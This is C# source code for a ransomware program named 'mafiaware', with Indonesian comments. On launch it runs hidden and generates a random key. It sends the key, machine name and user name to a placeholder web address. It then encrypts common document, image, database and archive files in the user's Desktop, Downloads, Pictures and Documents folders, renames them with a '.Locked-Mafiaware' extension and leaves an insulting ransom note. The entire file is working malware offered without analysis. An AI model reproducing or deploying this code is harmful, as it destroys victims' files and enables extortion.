using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
namespace mafiaware {
public partial class Form1 : Form {
//Web untuk Password Unlock nya
string webPass = "https://yourweb.com/cyberking/w00t.php?g0ttrap=";
string namaUser = Environment.UserName;
string namaKompi = System.Environment.MachineName.ToString();
string dirUsr = "C:\\Users\\";
public Form1() {
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e) {
Opacity = 0;
this.ShowInTaskbar = false;
ngeEnrypt(); //mulai ngencrypt nya pas loading
ngeEnrypt2();
ngeEnrypt3();
ngeEnrypt4();
}
private void Form_Shown(object sender, EventArgs e) {
Visible = false;
Opacity = 100;
}
//Algo encrypt AES256
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream()) {
using (RijndaelManaged AES = new RijndaelManaged()) {
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
//buat randompass encrypt
public string BuatPass(int length) {
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < length--){
res.Append(valid[rnd.Next(valid.Length)]);
}
return res.ToString();
}
 //ngirim pass hasil trap ke web
public void ngirimPass(string password){
string g0ttrap = namaKompi + "-" + namaUser + " " + password;
var fullUrl = webPass + g0ttrap;
var conent = new System.Net.WebClient().DownloadString(fullUrl);
}
//ngencrypt file
public void ngencryptFile(string file, string password) {
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
//ngehash pass dg sha256
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file, bytesEncrypted);
System.IO.File.Move(file, file+".Locked-Mafiaware"); //ekstensi hasil ngencrypt
}
//ngencrypt folder
public void ngencryptFolder(string location, string password) {
//ekstensi yang mau di encrypt
var validExtensions = new[] {
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".zip", ".rar"
};

string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++){
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
ngencryptFile(files[i],password);
}
}
for (int i = 0; i < childDirectories.Length; i++){
ngencryptFolder(childDirectories[i],password);
}
}
public void ngeEnrypt() {
string password = BuatPass(15);
string path = "\\Desktop";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
pesanReadMe();
password = null;
System.Windows.Forms.Application.Exit();
}
public void ngeEnrypt2() {
string password = BuatPass(15);
string path = "\\Downloads";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
public void ngeEnrypt3() {
string password = BuatPass(15);
string path = "\\Pictures";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
public void ngeEnrypt4() {
string password = BuatPass(15);
string path = "\\Documents";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
public void pesanReadMe() {
string path = "\\Desktop\\READ_ME.txt";
string fullpath = dirUsr + namaUser + path;
string[] lines = { "Pignouf Soirée Manthe baise ta mère j'ai bien crypté tes fichiers" };
System.IO.File.WriteAllLines(fullpath, lines);
}
}
}